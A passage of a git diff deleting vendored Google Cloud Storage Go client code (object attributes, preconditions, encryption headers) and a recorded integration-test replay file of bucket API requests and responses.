:= pem.Decode(key); block != nil { - key = block.Bytes - } - parsedKey, err := x509.ParsePKCS8PrivateKey(key) - if err != nil { - parsedKey, err = x509.ParsePKCS1PrivateKey(key) - if err != nil { - return nil, err - } - } - parsed, ok := parsedKey.(*rsa.PrivateKey) - if !ok { - return nil, errors.New("oauth2: private key is invalid") - } - return parsed, nil -} - -// toRawObject copies the editable attributes from o to the raw library's Object type. -func (o *ObjectAttrs) toRawObject(bucket string) *raw.Object { - var ret string - if !o.RetentionExpirationTime.IsZero() { - ret = o.RetentionExpirationTime.Format(time.RFC3339) - } - return &raw.Object{ - Bucket: bucket, - Name: o.Name, - EventBasedHold: o.EventBasedHold, - TemporaryHold: o.TemporaryHold, - RetentionExpirationTime: ret, - ContentType: o.ContentType, - ContentEncoding: o.ContentEncoding, - ContentLanguage: o.ContentLanguage, - CacheControl: o.CacheControl, - ContentDisposition: o.ContentDisposition, - StorageClass: o.StorageClass, - Acl: toRawObjectACL(o.ACL), - Metadata: o.Metadata, - } -} - -// ObjectAttrs represents the metadata for a Google Cloud Storage (GCS) object. -type ObjectAttrs struct { - // Bucket is the name of the bucket containing this GCS object. - // This field is read-only. - Bucket string - - // Name is the name of the object within the bucket. - // This field is read-only. - Name string - - // ContentType is the MIME type of the object's content. - ContentType string - - // ContentLanguage is the content language of the object's content. - ContentLanguage string - - // CacheControl is the Cache-Control header to be sent in the response - // headers when serving the object data. - CacheControl string - - // EventBasedHold specifies whether an object is under event-based hold. New - // objects created in a bucket whose DefaultEventBasedHold is set will - // default to that value. - EventBasedHold bool - - // TemporaryHold specifies whether an object is under temporary hold. While - // this flag is set to true, the object is protected against deletion and - // overwrites. - TemporaryHold bool - - // RetentionExpirationTime is a server-determined value that specifies the - // earliest time that the object's retention period expires. - // This is a read-only field. - RetentionExpirationTime time.Time - - // ACL is the list of access control rules for the object. - ACL []ACLRule - - // If not empty, applies a predefined set of access controls. It should be set - // only when writing, copying or composing an object. When copying or composing, - // it acts as the destinationPredefinedAcl parameter. - // PredefinedACL is always empty for ObjectAttrs returned from the service. - // See https://cloud.google.com/storage/docs/json_api/v1/objects/insert - // for valid values. - PredefinedACL string - - // Owner is the owner of the object. This field is read-only. - // - // If non-zero, it is in the form of "user-". - Owner string - - // Size is the length of the object's content. This field is read-only. - Size int64 - - // ContentEncoding is the encoding of the object's content. - ContentEncoding string - - // ContentDisposition is the optional Content-Disposition header of the object - // sent in the response headers. - ContentDisposition string - - // MD5 is the MD5 hash of the object's content. This field is read-only, - // except when used from a Writer. If set on a Writer, the uploaded - // data is rejected if its MD5 hash does not match this field. - MD5 []byte - - // CRC32C is the CRC32 checksum of the object's content using - // the Castagnoli93 polynomial. This field is read-only, except when - // used from a Writer. If set on a Writer and Writer.SendCRC32C - // is true, the uploaded data is rejected if its CRC32c hash does not - // match this field. - CRC32C uint32 - - // MediaLink is an URL to the object's content. This field is read-only. - MediaLink string - - // Metadata represents user-provided metadata, in key/value pairs. - // It can be nil if no metadata is provided. - Metadata map[string]string - - // Generation is the generation number of the object's content. - // This field is read-only. - Generation int64 - - // Metageneration is the version of the metadata for this - // object at this generation. This field is used for preconditions - // and for detecting changes in metadata. A metageneration number - // is only meaningful in the context of a particular generation - // of a particular object. This field is read-only. - Metageneration int64 - - // StorageClass is the storage class of the object. - // This value defines how objects in the bucket are stored and - // determines the SLA and the cost of storage. Typical values are - // "MULTI_REGIONAL", "REGIONAL", "NEARLINE", "COLDLINE", "STANDARD" - // and "DURABLE_REDUCED_AVAILABILITY". - // It defaults to "STANDARD", which is equivalent to "MULTI_REGIONAL" - // or "REGIONAL" depending on the bucket's location settings. - StorageClass string - - // Created is the time the object was created. This field is read-only. - Created time.Time - - // Deleted is the time the object was deleted. - // If not deleted, it is the zero value. This field is read-only. - Deleted time.Time - - // Updated is the creation or modification time of the object. - // For buckets with versioning enabled, changing an object's - // metadata does not change this property. This field is read-only. - Updated time.Time - - // CustomerKeySHA256 is the base64-encoded SHA-256 hash of the - // customer-supplied encryption key for the object. It is empty if there is - // no customer-supplied encryption key. - // See // https://cloud.google.com/storage/docs/encryption for more about - // encryption in Google Cloud Storage. - CustomerKeySHA256 string - - // Cloud KMS key name, in the form - // projects/P/locations/L/keyRings/R/cryptoKeys/K, used to encrypt this object, - // if the object is encrypted by such a key. - // - // Providing both a KMSKeyName and a customer-supplied encryption key (via - // ObjectHandle.Key) will result in an error when writing an object. - KMSKeyName string - - // Prefix is set only for ObjectAttrs which represent synthetic "directory - // entries" when iterating over buckets using Query.Delimiter. See - // ObjectIterator.Next. When set, no other fields in ObjectAttrs will be - // populated. - Prefix string - - // Etag is the HTTP/1.1 Entity tag for the object. - // This field is read-only. - Etag string -} - -// convertTime converts a time in RFC3339 format to time.Time. -// If any error occurs in parsing, the zero-value time.Time is silently returned. -func convertTime(t string) time.Time { - var r time.Time - if t != "" { - r, _ = time.Parse(time.RFC3339, t) - } - return r -} - -func newObject(o *raw.Object) *ObjectAttrs { - if o == nil { - return nil - } - owner := "" - if o.Owner != nil { - owner = o.Owner.Entity - } - md5, _ := base64.StdEncoding.DecodeString(o.Md5Hash) - crc32c, _ := decodeUint32(o.Crc32c) - var sha256 string - if o.CustomerEncryption != nil { - sha256 = o.CustomerEncryption.KeySha256 - } - return &ObjectAttrs{ - Bucket: o.Bucket, - Name: o.Name, - ContentType: o.ContentType, - ContentLanguage: o.ContentLanguage, - CacheControl: o.CacheControl, - EventBasedHold: o.EventBasedHold, - TemporaryHold: o.TemporaryHold, - RetentionExpirationTime: convertTime(o.RetentionExpirationTime), - ACL: toObjectACLRules(o.Acl), - Owner: owner, - ContentEncoding: o.ContentEncoding, - ContentDisposition: o.ContentDisposition, - Size: int64(o.Size), - MD5: md5, - CRC32C: crc32c, - MediaLink: o.MediaLink, - Metadata: o.Metadata, - Generation: o.Generation, - Metageneration: o.Metageneration, - StorageClass: o.StorageClass, - CustomerKeySHA256: sha256, - KMSKeyName: o.KmsKeyName, - Created: convertTime(o.TimeCreated), - Deleted: convertTime(o.TimeDeleted), - Updated: convertTime(o.Updated), - Etag: o.Etag, - } -} - -// Decode a uint32 encoded in Base64 in big-endian byte order. -func decodeUint32(b64 string) (uint32, error) { - d, err := base64.StdEncoding.DecodeString(b64) - if err != nil { - return 0, err - } - if len(d) != 4 { - return 0, fmt.Errorf("storage: %q does not encode a 32-bit value", d) - } - return uint32(d[0])<<24 + uint32(d[1])<<16 + uint32(d[2])<<8 + uint32(d[3]), nil -} - -// Encode a uint32 as Base64 in big-endian byte order. -func encodeUint32(u uint32) string { - b := []byte{byte(u >> 24), byte(u >> 16), byte(u >> 8), byte(u)} - return base64.StdEncoding.EncodeToString(b) -} - -// Query represents a query to filter objects from a bucket. -type Query struct { - // Delimiter returns results in a directory-like fashion. - // Results will contain only objects whose names, aside from the - // prefix, do not contain delimiter. Objects whose names, - // aside from the prefix, contain delimiter will have their name, - // truncated after the delimiter, returned in prefixes. - // Duplicate prefixes are omitted. - // Optional. - Delimiter string - - // Prefix is the prefix filter to query objects - // whose names begin with this prefix. - // Optional. - Prefix string - - // Versions indicates whether multiple versions of the same - // object will be included in the results. - Versions bool -} - -// Conditions constrain methods to act on specific generations of -// objects. -// -// The zero value is an empty set of constraints. Not all conditions or -// combinations of conditions are applicable to all methods. -// See https://cloud.google.com/storage/docs/generations-preconditions -// for details on how these operate. -type Conditions struct { - // Generation constraints. - // At most one of the following can be set to a non-zero value. - - // GenerationMatch specifies that the object must have the given generation - // for the operation to occur. - // If GenerationMatch is zero, it has no effect. - // Use DoesNotExist to specify that the object does not exist in the bucket. - GenerationMatch int64 - - // GenerationNotMatch specifies that the object must not have the given - // generation for the operation to occur. - // If GenerationNotMatch is zero, it has no effect. - GenerationNotMatch int64 - - // DoesNotExist specifies that the object must not exist in the bucket for - // the operation to occur. - // If DoesNotExist is false, it has no effect. - DoesNotExist bool - - // Metadata generation constraints. - // At most one of the following can be set to a non-zero value. - - // MetagenerationMatch specifies that the object must have the given - // metageneration for the operation to occur. - // If MetagenerationMatch is zero, it has no effect. - MetagenerationMatch int64 - - // MetagenerationNotMatch specifies that the object must not have the given - // metageneration for the operation to occur. - // If MetagenerationNotMatch is zero, it has no effect. - MetagenerationNotMatch int64 -} - -func (c *Conditions) validate(method string) error { - if *c == (Conditions{}) { - return fmt.Errorf("storage: %s: empty conditions", method) - } - if !c.isGenerationValid() { - return fmt.Errorf("storage: %s: multiple conditions specified for generation", method) - } - if !c.isMetagenerationValid() { - return fmt.Errorf("storage: %s: multiple conditions specified for metageneration", method) - } - return nil -} - -func (c *Conditions) isGenerationValid() bool { - n := 0 - if c.GenerationMatch != 0 { - n++ - } - if c.GenerationNotMatch != 0 { - n++ - } - if c.DoesNotExist { - n++ - } - return n <= 1 -} - -func (c *Conditions) isMetagenerationValid() bool { - return c.MetagenerationMatch == 0 || c.MetagenerationNotMatch == 0 -} - -// applyConds modifies the provided call using the conditions in conds. -// call is something that quacks like a *raw.WhateverCall. -func applyConds(method string, gen int64, conds *Conditions, call interface{}) error { - cval := reflect.ValueOf(call) - if gen >= 0 { - if !setConditionField(cval, "Generation", gen) { - return fmt.Errorf("storage: %s: generation not supported", method) - } - } - if conds == nil { - return nil - } - if err := conds.validate(method); err != nil { - return err - } - switch { - case conds.GenerationMatch != 0: - if !setConditionField(cval, "IfGenerationMatch", conds.GenerationMatch) { - return fmt.Errorf("storage: %s: ifGenerationMatch not supported", method) - } - case conds.GenerationNotMatch != 0: - if !setConditionField(cval, "IfGenerationNotMatch", conds.GenerationNotMatch) { - return fmt.Errorf("storage: %s: ifGenerationNotMatch not supported", method) - } - case conds.DoesNotExist: - if !setConditionField(cval, "IfGenerationMatch", int64(0)) { - return fmt.Errorf("storage: %s: DoesNotExist not supported", method) - } - } - switch { - case conds.MetagenerationMatch != 0: - if !setConditionField(cval, "IfMetagenerationMatch", conds.MetagenerationMatch) { - return fmt.Errorf("storage: %s: ifMetagenerationMatch not supported", method) - } - case conds.MetagenerationNotMatch != 0: - if !setConditionField(cval, "IfMetagenerationNotMatch", conds.MetagenerationNotMatch) { - return fmt.Errorf("storage: %s: ifMetagenerationNotMatch not supported", method) - } - } - return nil -} - -func applySourceConds(gen int64, conds *Conditions, call *raw.ObjectsRewriteCall) error { - if gen >= 0 { - call.SourceGeneration(gen) - } - if conds == nil { - return nil - } - if err := conds.validate("CopyTo source"); err != nil { - return err - } - switch { - case conds.GenerationMatch != 0: - call.IfSourceGenerationMatch(conds.GenerationMatch) - case conds.GenerationNotMatch != 0: - call.IfSourceGenerationNotMatch(conds.GenerationNotMatch) - case conds.DoesNotExist: - call.IfSourceGenerationMatch(0) - } - switch { - case conds.MetagenerationMatch != 0: - call.IfSourceMetagenerationMatch(conds.MetagenerationMatch) - case conds.MetagenerationNotMatch != 0: - call.IfSourceMetagenerationNotMatch(conds.MetagenerationNotMatch) - } - return nil -} - -// setConditionField sets a field on a *raw.WhateverCall. -// We can't use anonymous interfaces because the return type is -// different, since the field setters are builders. -func setConditionField(call reflect.Value, name string, value interface{}) bool { - m := call.MethodByName(name) - if !m.IsValid() { - return false - } - m.Call([]reflect.Value{reflect.ValueOf(value)}) - return true -} - -// conditionsQuery returns the generation and conditions as a URL query -// string suitable for URL.RawQuery. It assumes that the conditions -// have been validated. -func conditionsQuery(gen int64, conds *Conditions) string { - // URL escapes are elided because integer strings are URL-safe. - var buf []byte - - appendParam := func(s string, n int64) { - if len(buf) > 0 { - buf = append(buf, '&') - } - buf = append(buf, s...) - buf = strconv.AppendInt(buf, n, 10) - } - - if gen >= 0 { - appendParam("generation=", gen) - } - if conds == nil { - return string(buf) - } - switch { - case conds.GenerationMatch != 0: - appendParam("ifGenerationMatch=", conds.GenerationMatch) - case conds.GenerationNotMatch != 0: - appendParam("ifGenerationNotMatch=", conds.GenerationNotMatch) - case conds.DoesNotExist: - appendParam("ifGenerationMatch=", 0) - } - switch { - case conds.MetagenerationMatch != 0: - appendParam("ifMetagenerationMatch=", conds.MetagenerationMatch) - case conds.MetagenerationNotMatch != 0: - appendParam("ifMetagenerationNotMatch=", conds.MetagenerationNotMatch) - } - return string(buf) -} - -// composeSourceObj wraps a *raw.ComposeRequestSourceObjects, but adds the methods -// that modifyCall searches for by name. -type composeSourceObj struct { - src *raw.ComposeRequestSourceObjects -} - -func (c composeSourceObj) Generation(gen int64) { - c.src.Generation = gen -} - -func (c composeSourceObj) IfGenerationMatch(gen int64) { - // It's safe to overwrite ObjectPreconditions, since its only field is - // IfGenerationMatch. - c.src.ObjectPreconditions = &raw.ComposeRequestSourceObjectsObjectPreconditions{ - IfGenerationMatch: gen, - } -} - -func setEncryptionHeaders(headers http.Header, key []byte, copySource bool) error { - if key == nil { - return nil - } - // TODO(jbd): Ask the API team to return a more user-friendly error - // and avoid doing this check at the client level. - if len(key) != 32 { - return errors.New("storage: not a 32-byte AES-256 key") - } - var cs string - if copySource { - cs = "copy-source-" - } - headers.Set("x-goog-"+cs+"encryption-algorithm", "AES256") - headers.Set("x-goog-"+cs+"encryption-key", base64.StdEncoding.EncodeToString(key)) - keyHash := sha256.Sum256(key) - headers.Set("x-goog-"+cs+"encryption-key-sha256", base64.StdEncoding.EncodeToString(keyHash[:])) - return nil -} - -// ServiceAccount fetches the email address of the given project's Google Cloud Storage service account. -func (c *Client) ServiceAccount(ctx context.Context, projectID string) (string, error) { - r := c.raw.Projects.ServiceAccount.Get(projectID) - res, err := r.Context(ctx).Do() - if err != nil { - return "", err - } - return res.EmailAddress, nil -} diff --git a/vendor/cloud.google.com/go/storage/storage.replay b/vendor/cloud.google.com/go/storage/storage.replay deleted file mode 100644 index 07ed1bfaf3..0000000000 --- a/vendor/cloud.google.com/go/storage/storage.replay +++ /dev/null @@ -1,30067 +0,0 @@ -{ - "Initial": "IjIwMTktMDUtMDJUMjI6MjM6NTMuNDAzNDMyMDEzWiI=", - "Version": "0.2", - "Converter": { - "ClearHeaders": [ - "^X-Goog-.*Encryption-Key$" - ], - "RemoveRequestHeaders": [ - "^Authorization$", - "^Proxy-Authorization$", - "^Connection$", - "^Content-Type$", - "^Date$", - "^Host$", - "^Transfer-Encoding$", - "^Via$", - "^X-Forwarded-.*$", - "^X-Cloud-Trace-Context$", - "^X-Goog-Api-Client$", - "^X-Google-.*$", - "^X-Gfe-.*$" - ], - "RemoveResponseHeaders": [ - "^X-Google-.*$", - "^X-Gfe-.*$" - ], - "ClearParams": null, - "RemoveParams": null - }, - "Entries": [ - { - "ID": "f5f231bed6e14b7f", - "Request": { - "Method": "POST", - "URL": "https://www.googleapis.com/storage/v1/b?alt=json\u0026prettyPrint=false\u0026project=deklerk-sandbox", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "Content-Length": [ - "60" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "application/json", - "BodyParts": [ - "eyJuYW1lIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxIn0K" - ] - }, - "Response": { - "StatusCode": 200, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "no-cache, no-store, max-age=0, must-revalidate" - ], - "Content-Length": [ - "485" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:23:54 GMT" - ], - "Etag": [ - "CAE=" - ], - "Expires": [ - "Mon, 01 Jan 1990 00:00:00 GMT" - ], - "Pragma": [ - "no-cache" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2UrZvgYBWgsCwPaGI9bo1ccC0WCBc8kJgydTwioDtXR9xps4HiDoKXI-vjYUl876SMqF0JhmhaEBgvxrIL9Y989YCFrH65xGys_r1JbPdi9M9N0kS3M" - ] - }, - "Body": "eyJraW5kIjoic3RvcmFnZSNidWNrZXQiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMSIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMSIsInByb2plY3ROdW1iZXIiOiI0OTYxNjk2MDE3MTQiLCJuYW1lIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxIiwidGltZUNyZWF0ZWQiOiIyMDE5LTA1LTAyVDIyOjIzOjU0LjYxMFoiLCJ1cGRhdGVkIjoiMjAxOS0wNS0wMlQyMjoyMzo1NC42MTBaIiwibWV0YWdlbmVyYXRpb24iOiIxIiwiaWFtQ29uZmlndXJhdGlvbiI6eyJidWNrZXRQb2xpY3lPbmx5Ijp7ImVuYWJsZWQiOmZhbHNlfX0sImxvY2F0aW9uIjoiVVMiLCJzdG9yYWdlQ2xhc3MiOiJTVEFOREFSRCIsImV0YWciOiJDQUU9In0=" - } - }, - { - "ID": "9a9914424ef59619", - "Request": { - "Method": "POST", - "URL": "https://www.googleapis.com/storage/v1/b?alt=json\u0026prettyPrint=false\u0026project=deklerk-sandbox", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "Content-Length": [ - "60" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "application/json", - "BodyParts": [ - "eyJuYW1lIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAyIn0K" - ] - }, - "Response": { - "StatusCode": 200, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "no-cache, no-store, max-age=0, must-revalidate" - ], - "Content-Length": [ - "485" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:23:55 GMT" - ], - "Etag": [ - "CAE=" - ], - "Expires": [ - "Mon, 01 Jan 1990 00:00:00 GMT" - ], - "Pragma": [ - "no-cache" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2UqFvRYrCleVqpn0QshSvzW5I1-8o7N6vGYh8o5G1f-AHnsX2N_x-NKJrvlxnXqm9auw5gMoWFaJTSTtKL5y85WlQ_eAjmmlrkD4tbHYBZJ386xgaZw" - ] - }, - "Body": "eyJraW5kIjoic3RvcmFnZSNidWNrZXQiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMiIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMiIsInByb2plY3ROdW1iZXIiOiI0OTYxNjk2MDE3MTQiLCJuYW1lIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAyIiwidGltZUNyZWF0ZWQiOiIyMDE5LTA1LTAyVDIyOjIzOjU1LjEwOVoiLCJ1cGRhdGVkIjoiMjAxOS0wNS0wMlQyMjoyMzo1NS4xMDlaIiwibWV0YWdlbmVyYXRpb24iOiIxIiwiaWFtQ29uZmlndXJhdGlvbiI6eyJidWNrZXRQb2xpY3lPbmx5Ijp7ImVuYWJsZWQiOmZhbHNlfX0sImxvY2F0aW9uIjoiVVMiLCJzdG9yYWdlQ2xhc3MiOiJTVEFOREFSRCIsImV0YWciOiJDQUU9In0=" - } - }, - { - "ID": "17f2abbdd781a33b", - "Request": { - "Method": "GET", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0002?alt=json\u0026prettyPrint=false\u0026projection=full", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "", - "BodyParts": [ - "" - ] - }, - "Response": { - "StatusCode": 200, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "private, max-age=0, must-revalidate, no-transform" - ], - "Content-Length": [ - "2431" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:23:55 GMT" - ], - "Etag": [ - "CAE=" - ], - "Expires": [ - "Thu, 02 May 2019 22:23:55 GMT" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2UoYoTmTG5mxpFGPvmECUTlGMlQwhfmqGsZtBtZ9xV89Pw3q-p5BBeX_3imdofr_7EBT7nBm4v5alpg45Zi8a8ET28qBH2xfNe4n15HR-1fhGou2wQU" - ] - }, - "Body": "eyJraW5kIjoic3RvcmFnZSNidWNrZXQiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMiIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMiIsInByb2plY3ROdW1iZXIiOiI0OTYxNjk2MDE3MTQiLCJuYW1lIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAyIiwidGltZUNyZWF0ZWQiOiIyMDE5LTA1LTAyVDIyOjIzOjU1LjEwOVoiLCJ1cGRhdGVkIjoiMjAxOS0wNS0wMlQyMjoyMzo1NS4xMDlaIiwibWV0YWdlbmVyYXRpb24iOiIxIiwiYWNsIjpbeyJraW5kIjoic3RvcmFnZSNidWNrZXRBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDIvcHJvamVjdC1vd25lcnMtNDk2MTY5NjAxNzE0Iiwic2VsZkxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAyL2FjbC9wcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDIiLCJlbnRpdHkiOiJwcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQiLCJyb2xlIjoiT1dORVIiLCJwcm9qZWN0VGVhbSI6eyJwcm9qZWN0TnVtYmVyIjoiNDk2MTY5NjAxNzE0IiwidGVhbSI6Im93bmVycyJ9LCJldGFnIjoiQ0FFPSJ9LHsia2luZCI6InN0b3JhZ2UjYnVja2V0QWNjZXNzQ29udHJvbCIsImlkIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAyL3Byb2plY3QtZWRpdG9ycy00OTYxNjk2MDE3MTQiLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDIvYWNsL3Byb2plY3QtZWRpdG9ycy00OTYxNjk2MDE3MTQiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDIiLCJlbnRpdHkiOiJwcm9qZWN0LWVkaXRvcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6Ik9XTkVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJlZGl0b3JzIn0sImV0YWciOiJDQUU9In0seyJraW5kIjoic3RvcmFnZSNidWNrZXRBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDIvcHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMi9hY2wvcHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMiIsImVudGl0eSI6InByb2plY3Qtdmlld2Vycy00OTYxNjk2MDE3MTQiLCJyb2xlIjoiUkVBREVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJ2aWV3ZXJzIn0sImV0YWciOiJDQUU9In1dLCJkZWZhdWx0T2JqZWN0QWNsIjpbeyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9sIiwiZW50aXR5IjoicHJvamVjdC1vd25lcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6Ik9XTkVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJvd25lcnMifSwiZXRhZyI6IkNBRT0ifSx7ImtpbmQiOiJzdG9yYWdlI29iamVjdEFjY2Vzc0NvbnRyb2wiLCJlbnRpdHkiOiJwcm9qZWN0LWVkaXRvcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6Ik9XTkVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJlZGl0b3JzIn0sImV0YWciOiJDQUU9In0seyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9sIiwiZW50aXR5IjoicHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsInJvbGUiOiJSRUFERVIiLCJwcm9qZWN0VGVhbSI6eyJwcm9qZWN0TnVtYmVyIjoiNDk2MTY5NjAxNzE0IiwidGVhbSI6InZpZXdlcnMifSwiZXRhZyI6IkNBRT0ifV0sImlhbUNvbmZpZ3VyYXRpb24iOnsiYnVja2V0UG9saWN5T25seSI6eyJlbmFibGVkIjpmYWxzZX19LCJvd25lciI6eyJlbnRpdHkiOiJwcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQifSwibG9jYXRpb24iOiJVUyIsInN0b3JhZ2VDbGFzcyI6IlNUQU5EQVJEIiwiZXRhZyI6IkNBRT0ifQ==" - } - }, - { - "ID": "6752f5a9a036af11", - "Request": { - "Method": "DELETE", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0002?alt=json\u0026prettyPrint=false", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "", - "BodyParts": [ - "" - ] - }, - "Response": { - "StatusCode": 204, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "no-cache, no-store, max-age=0, must-revalidate" - ], - "Content-Length": [ - "0" - ], - "Content-Type": [ - "application/json" - ], - "Date": [ - "Thu, 02 May 2019 22:23:56 GMT" - ], - "Expires": [ - "Mon, 01 Jan 1990 00:00:00 GMT" - ], - "Pragma": [ - "no-cache" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2Ur4bFsk4ylv96GsTkuDKG--hVaCR_UEhZ_fAzMGt5Eu5ZKncHOLjU_f2PcNP9saFGW-UkH9jXwt_nuR0G2zXOBjMJmLdd7Ml61bGMMrJeVa0OtcGpM" - ] - }, - "Body": "" - } - }, - { - "ID": "9c25646df7aacad9", - "Request": { - "Method": "POST", - "URL": "https://www.googleapis.com/storage/v1/b?alt=json\u0026prettyPrint=false\u0026project=deklerk-sandbox", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "Content-Length": [ - "543" - ], - "User-Agent": [ - "google-api-go-client/0.5" - 